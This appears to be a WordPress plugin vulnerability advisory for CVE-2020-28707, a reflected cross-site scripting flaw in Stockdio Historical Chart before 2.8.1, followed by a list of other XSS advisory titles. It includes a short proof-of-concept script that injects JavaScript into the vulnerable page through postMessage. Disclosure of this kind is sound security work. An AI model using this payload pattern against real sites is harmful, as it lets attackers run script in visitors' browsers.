Stockdio Historical Chart < 2.8.1 – Reflected Cross-Site Scripting (XSS) | CVE 2020-28707 | Plugin Vulnerabilities

Description

The plugin was affected by a Reflected Cross-Site Scripting issue via the postMessage() event.

Proof of Concept

Use the following code on another website

<script>
        var popup = window.open('https://VULNERABLE.PAGE/');
        var msg = {};
        msg.method = "alert(document.domain)";
        function post(){popup.postMessage(msg,'*')}
        setInterval(post,1000);
</script>

Affects Plugins

stockdio-historical-chart

Fixed in 2.8.1

References

CVE

URL

https://jondow.eu/cve-2020-28707-xss-in-stockdio-historical-chart-plugin-for-wordpress-before-version-281/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

jondow

Verified

No

WPVDB ID

ee036303-0676-481a-98a4-76852fea6f62

Timeline

Publicly Published

2021-01-20 (about 5 years ago)

Added

2021-01-20 (about 5 years ago)

Last Updated

2021-01-21 (about 5 years ago)

Other

Published

Title

Published

2025-01-03

Title

Data Dash <= 1.2.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting

Published

2022-01-31

Title

Fotobook <= 3.2.3 - Reflected Cross-Site Scripting

Published

2024-06-12

Title

WPBakery Page Builder < 7.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via VC Single Image link attribute

Published

2014-08-01

Title

WooCommerce SagePay Direct Payment Gateway 0.1.6.6 - pages/3DCallBack.php Multiple Parameter Reflected XSS

Published

2025-01-30

Title

System Dashboard < 2.8.18 - Reflected Cross-Site Scripting via Filename Parameter